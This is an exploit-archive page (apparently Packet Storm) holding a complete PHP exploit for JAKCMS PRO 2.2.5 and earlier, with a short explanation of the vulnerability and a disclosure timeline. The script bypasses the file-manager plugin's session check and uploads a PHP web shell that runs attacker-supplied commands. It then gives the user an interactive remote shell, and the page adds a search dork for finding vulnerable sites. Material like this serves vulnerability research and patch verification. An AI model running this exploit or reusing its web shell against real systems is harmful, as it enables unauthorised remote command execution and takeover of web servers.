what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

JAKCMS PRO 2.2.5 Arbitrary File Upload

JAKCMS PRO 2.2.5 Arbitrary File Upload
Posted Sep 22, 2011
Authored by EgiX

JAKCMS PRO versions 2.2.5 and below arbitrary file upload exploits that allows for remote command execution.

tags | exploit, remote, arbitrary, file upload
SHA-256 | 53a1b1da7731dc0103e75d2e48b13fa41c546b8838b40a37ce1ecb416158b99e

JAKCMS PRO 2.2.5 Arbitrary File Upload

Change Mirror Download
# Exploit Title: JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit
# Google Dork: "Powered By JAKCMS"
# Date: 21/09/2011
# Author: EgiX
# Software Link: http://www.jakcms.com/
# Version: 2.2.5
# Tested on: Windows 7 and Debian 6.0.2

<?php



/*

--------------------------------------------------------

JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit

--------------------------------------------------------



author..........: EgiX

mail............: n0b0d13s[at]gmail[dot]com

software link...: http://www.jakcms.com/



This PoC was written for educational purpose. Use it at your own risk.

Author will be not responsible for any damage.



[-] vulnerable code in /js/editor/plugins/jakadminexplorer/php/session.php



119. if ($SESSION["check_session_variable"] != "") {

120.

121. // Session Starten

122. session_start();

123.

124. // Session-Variable ├╝berpr├╝fen

125. if (!isset($_SESSION[$SESSION["check_session_variable"]])) {

126. include("error.php");

127. die;

128. }

129. }



This authentication schema could be bypassed due to an attacker might be able to start a session accessing to /index.php that set

for e.g. the "jak_lastURL" session variable, so could be set $SESSION["check_session_variable"] to bypass the check at line 125.

Successful exploitation allows attackers access to plugins functionality (see /js/editor/plugins/jakadminexplorer/php/action.php),

in this way an attacker could be able to "delete", "create", "rename" any folder/file into webserver or upload arbitrary files.

The same vulnerability afflicts also jakadminimage, jakusrexplorer and jakusrimage plugins.



[-] Disclosure timeline:



[15/09/2011] - Vulnerability discovered

[16/09/2011] - Issue reported to http://www.jakcms.com/tracker/t/61/security-flaw-imagefilemanager

[16/09/2011] - Vendor fix released in version 2.2.6

[21/09/2011] - Public disclosure



*/



error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);



function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die("\n[-] No response from {$host}:80\n");



fputs($sock, $packet);

return stream_get_contents($sock);

}



function RC4($data)

{

$key = "asvKHQFkoobdwdin4bi30xzb003ufkxS3Fu3HArhBnlIk5pr3D6OGSKvUbso1rtne42VekxwUmOtPgmcA1iYC6lrpWP7HXq6VdB8EnbzR0L8rIHMqSY8mIi0o3ROzZWe";

$s = range(0, 256);

$j = 0;



for ($i = 0; $i < 256; $i++)

{

$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;

$x = $s[$i];

$s[$i] = $s[$j];

$s[$j] = $x;

}



$i = $j = 0;

$ct = "";



for ($y = 0; $y < strlen($data); $y++)

{

$i = ($i + 1) % 256;

$j = ($j + $s[$i]) % 256;

$x = $s[$i];

$s[$i] = $s[$j];

$s[$j] = $x;

$ct .= $data[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);

}



return $ct;

}



print "\n+------------------------------------------------------------------+";

print "\n| JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit by EgiX |";

print "\n+------------------------------------------------------------------+\n";



if ($argc < 3)

{

print "\nUsage......: php $argv[0] <host> <path>\n";

print "\nExample....: php $argv[0] localhost /";

print "\nExample....: php $argv[0] localhost /jakcms/\n";

die();

}



$host = $argv[1];

$path = $argv[2];



$packet = "GET {$path} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Connection: close\r\n\r\n";



preg_match("/PHPSESSID=([^;]*);/i", http_send($host, $packet), $m);

$sid = $m[1];



$payload = "--o0oOo0o\r\n";

$payload .= "Content-Disposition: form-data; name=\"edit1\"\r\n\r\n.php\r\n";

$payload .= "--o0oOo0o\r\n";

$payload .= "Content-Disposition: form-data; name=\"input1\"; filename=\"foo\"\r\n\r\n";

$payload .= "<?php \${error_reporting(0)}.\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?>\r\n";

$payload .= "--o0oOo0o--\r\n";



$get = bin2hex(RC4("id=1&check_session_variable=jak_lastURL&upload_filetype=php&dir={$path}cache/sh"));



$packet = "POST {$path}js/editor/plugins/jakadminexplorer/?action=upload&get={$get} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: PHPSESSID={$sid}\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";

$packet .= "Connection: close\r\n\r\n";

$packet .= $payload;



if (preg_match("/Error/", http_send($host, $packet))) die("\n[-] Upload failed!\n");



$packet = "GET {$path}cache/sh.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";



while(1)

{

print "\njakcms-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}



?>

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close